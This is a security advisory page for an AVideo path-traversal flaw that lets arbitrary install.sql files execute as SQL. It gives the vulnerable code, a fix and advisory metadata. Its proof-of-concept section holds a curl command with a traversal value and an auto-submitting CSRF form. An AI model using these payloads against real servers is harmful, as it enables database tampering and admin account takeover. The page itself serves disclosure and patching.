GHSA-3HWV-X8G3-9QPR
Vulnerability from github – Published: 2026-03-25 19:51 – Updated: 2026-03-25 19:51Summary
The objects/pluginRunDatabaseScript.json.php endpoint accepts a name parameter via POST and passes it to Plugin::getDatabaseFileName() without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any install/install.sql file on the filesystem as raw SQL queries against the application database.
Details
The vulnerable data flow:
1. Entry point — objects/pluginRunDatabaseScript.json.php:21:
$fileName = Plugin::getDatabaseFileName($_POST['name']);
2. "Sanitization" — objects/plugin.php:343-354:
public static function getDatabaseFileName($pluginName)
{
global $global;
$pluginName = AVideoPlugin::fixName($pluginName); // line 347 — no-op
$dir = $global['systemRootPath'] . "plugin";
$filename = $dir . DIRECTORY_SEPARATOR . $pluginName . DIRECTORY_SEPARATOR . "install" . DIRECTORY_SEPARATOR . "install.sql";
if (!file_exists($filename)) {
return false;
}
return $filename;
}
3. The "fix" — plugin/AVideoPlugin.php:3184-3190:
public static function fixName($name)
{
if ($name === 'Programs') {
return 'PlayLists';
}
return $name; // Returns input unchanged for all other values
}
4. SQL execution — objects/pluginRunDatabaseScript.json.php:24-36:
$lines = file($fileName);
foreach ($lines as $line) {
// ...
if (!$global['mysqli']->query($templine)) {
$obj->msg = ('Error performing query \'<strong>' . $templine . '\': ' . $global['mysqli']->error);
die($templine.' '.json_encode($obj)); // Leaks file content + SQL error
}
}
The sibling endpoint pluginRunUpdateScript.json.php correctly routes through AVideoPlugin::loadPlugin() which sanitizes the name with preg_replace('/[^0-9a-z_]/i', '', $name) at AVideoPlugin.php:395. The vulnerable endpoint bypasses this sanitization entirely.
Additionally, the endpoint lacks CSRF token validation. The related pluginImport.json.php properly checks isGlobalTokenValid(), but pluginRunDatabaseScript.json.php does not, making it exploitable via cross-site request forgery against an authenticated admin.
PoC
Step 1: Direct exploitation (as admin)
# Traverse to another plugin's install.sql (e.g., from CustomPlugin to LiveLinks)
curl -s -b "PHPSESSID=<admin_session>" \
-d "name=../plugin/LiveLinks" \
"https://target.com/objects/pluginRunDatabaseScript.json.php"
This resolves to: {root}/plugin/../plugin/LiveLinks/install/install.sql and executes its SQL.
Step 2: CSRF exploitation (no direct admin access needed)
Host the following HTML on an attacker-controlled page and trick an admin into visiting it:
<html>
<body>
<form action="https://target.com/objects/pluginRunDatabaseScript.json.php" method="POST" id="csrf">
<input type="hidden" name="name" value="../../attacker-controlled-path" />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
Step 3: Information disclosure via error messages
If the traversed SQL file contains invalid SQL, lines 32-33 leak the raw file content in the error response:
{"error":true,"msg":"Error performing query '<strong>FILE CONTENT HERE': MySQL error..."}
Impact
- SQL injection via file inclusion: An attacker can execute arbitrary SQL from any
install/install.sqlfile reachable via path traversal, potentially creating admin accounts, modifying data, or extracting sensitive information. - Information disclosure: SQL execution errors leak raw file contents and MySQL error messages in the HTTP response.
- CSRF amplification: The lack of CSRF protection means an external attacker can exploit this vulnerability by tricking an admin into visiting a malicious page, without needing direct admin credentials.
- Chaining potential: If combined with any file-write primitive (e.g., GHSA-v8jw-8w5p-23g3, the plugin ZIP extraction RCE), an attacker can write a malicious
install.sqlfile and then execute it via this endpoint.
Recommended Fix
Apply the same sanitization used by loadPlugin() to strip path traversal characters, and add CSRF token validation:
// In objects/pluginRunDatabaseScript.json.php, after line 14:
// Add CSRF protection
if (!isGlobalTokenValid()) {
die('{"error":"' . __("Invalid token") . '"}');
}
// Sanitize plugin name before use (line 21)
$pluginName = trim(preg_replace('/[^0-9a-z_]/i', '', $_POST['name']));
$fileName = Plugin::getDatabaseFileName($pluginName);
Alternatively, fix AVideoPlugin::fixName() to apply proper sanitization for all callers:
public static function fixName($name)
{
if ($name === 'Programs') {
$name = 'PlayLists';
}
return trim(preg_replace('/[^0-9a-z_]/i', '', $name));
}
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33681"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T19:51:46Z",
"nvd_published_at": "2026-03-23T19:16:41Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `objects/pluginRunDatabaseScript.json.php` endpoint accepts a `name` parameter via POST and passes it to `Plugin::getDatabaseFileName()` without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any `install/install.sql` file on the filesystem as raw SQL queries against the application database.\n\n## Details\n\nThe vulnerable data flow:\n\n**1. Entry point** \u2014 `objects/pluginRunDatabaseScript.json.php:21`:\n```php\n$fileName = Plugin::getDatabaseFileName($_POST[\u0027name\u0027]);\n```\n\n**2. \"Sanitization\"** \u2014 `objects/plugin.php:343-354`:\n```php\npublic static function getDatabaseFileName($pluginName)\n{\n global $global;\n $pluginName = AVideoPlugin::fixName($pluginName); // line 347 \u2014 no-op\n $dir = $global[\u0027systemRootPath\u0027] . \"plugin\";\n $filename = $dir . DIRECTORY_SEPARATOR . $pluginName . DIRECTORY_SEPARATOR . \"install\" . DIRECTORY_SEPARATOR . \"install.sql\";\n if (!file_exists($filename)) {\n return false;\n }\n return $filename;\n}\n```\n\n**3. The \"fix\"** \u2014 `plugin/AVideoPlugin.php:3184-3190`:\n```php\npublic static function fixName($name)\n{\n if ($name === \u0027Programs\u0027) {\n return \u0027PlayLists\u0027;\n }\n return $name; // Returns input unchanged for all other values\n}\n```\n\n**4. SQL execution** \u2014 `objects/pluginRunDatabaseScript.json.php:24-36`:\n```php\n$lines = file($fileName);\nforeach ($lines as $line) {\n // ...\n if (!$global[\u0027mysqli\u0027]-\u003equery($templine)) {\n $obj-\u003emsg = (\u0027Error performing query \\\u0027\u003cstrong\u003e\u0027 . $templine . \u0027\\\u0027: \u0027 . $global[\u0027mysqli\u0027]-\u003eerror);\n die($templine.\u0027 \u0027.json_encode($obj)); // Leaks file content + SQL error\n }\n}\n```\n\nThe sibling endpoint `pluginRunUpdateScript.json.php` correctly routes through `AVideoPlugin::loadPlugin()` which sanitizes the name with `preg_replace(\u0027/[^0-9a-z_]/i\u0027, \u0027\u0027, $name)` at `AVideoPlugin.php:395`. The vulnerable endpoint bypasses this sanitization entirely.\n\nAdditionally, the endpoint lacks CSRF token validation. The related `pluginImport.json.php` properly checks `isGlobalTokenValid()`, but `pluginRunDatabaseScript.json.php` does not, making it exploitable via cross-site request forgery against an authenticated admin.\n\n## PoC\n\n**Step 1: Direct exploitation (as admin)**\n\n```bash\n# Traverse to another plugin\u0027s install.sql (e.g., from CustomPlugin to LiveLinks)\ncurl -s -b \"PHPSESSID=\u003cadmin_session\u003e\" \\\n -d \"name=../plugin/LiveLinks\" \\\n \"https://target.com/objects/pluginRunDatabaseScript.json.php\"\n```\n\nThis resolves to: `{root}/plugin/../plugin/LiveLinks/install/install.sql` and executes its SQL.\n\n**Step 2: CSRF exploitation (no direct admin access needed)**\n\nHost the following HTML on an attacker-controlled page and trick an admin into visiting it:\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"https://target.com/objects/pluginRunDatabaseScript.json.php\" method=\"POST\" id=\"csrf\"\u003e\n \u003cinput type=\"hidden\" name=\"name\" value=\"../../attacker-controlled-path\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027csrf\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 3: Information disclosure via error messages**\n\nIf the traversed SQL file contains invalid SQL, lines 32-33 leak the raw file content in the error response:\n```json\n{\"error\":true,\"msg\":\"Error performing query \u0027\u003cstrong\u003eFILE CONTENT HERE\u0027: MySQL error...\"}\n```\n\n## Impact\n\n- **SQL injection via file inclusion**: An attacker can execute arbitrary SQL from any `install/install.sql` file reachable via path traversal, potentially creating admin accounts, modifying data, or extracting sensitive information.\n- **Information disclosure**: SQL execution errors leak raw file contents and MySQL error messages in the HTTP response.\n- **CSRF amplification**: The lack of CSRF protection means an external attacker can exploit this vulnerability by tricking an admin into visiting a malicious page, without needing direct admin credentials.\n- **Chaining potential**: If combined with any file-write primitive (e.g., GHSA-v8jw-8w5p-23g3, the plugin ZIP extraction RCE), an attacker can write a malicious `install.sql` file and then execute it via this endpoint.\n\n## Recommended Fix\n\nApply the same sanitization used by `loadPlugin()` to strip path traversal characters, and add CSRF token validation:\n\n```php\n// In objects/pluginRunDatabaseScript.json.php, after line 14:\n\n// Add CSRF protection\nif (!isGlobalTokenValid()) {\n die(\u0027{\"error\":\"\u0027 . __(\"Invalid token\") . \u0027\"}\u0027);\n}\n\n// Sanitize plugin name before use (line 21)\n$pluginName = trim(preg_replace(\u0027/[^0-9a-z_]/i\u0027, \u0027\u0027, $_POST[\u0027name\u0027]));\n$fileName = Plugin::getDatabaseFileName($pluginName);\n```\n\nAlternatively, fix `AVideoPlugin::fixName()` to apply proper sanitization for all callers:\n\n```php\npublic static function fixName($name)\n{\n if ($name === \u0027Programs\u0027) {\n $name = \u0027PlayLists\u0027;\n }\n return trim(preg_replace(\u0027/[^0-9a-z_]/i\u0027, \u0027\u0027, $name));\n}\n```",
"id": "GHSA-3hwv-x8g3-9qpr",
"modified": "2026-03-25T19:51:46Z",
"published": "2026-03-25T19:51:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-3hwv-x8g3-9qpr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33681"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/81b591c509835505cb9f298aa1162ac64c4152cb"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-v8jw-8w5p-23g3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "AVideo has Path Traversal in pluginRunDatabaseScript.json.php Enables Arbitrary SQL File Execution via Unsanitized Plugin Name"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.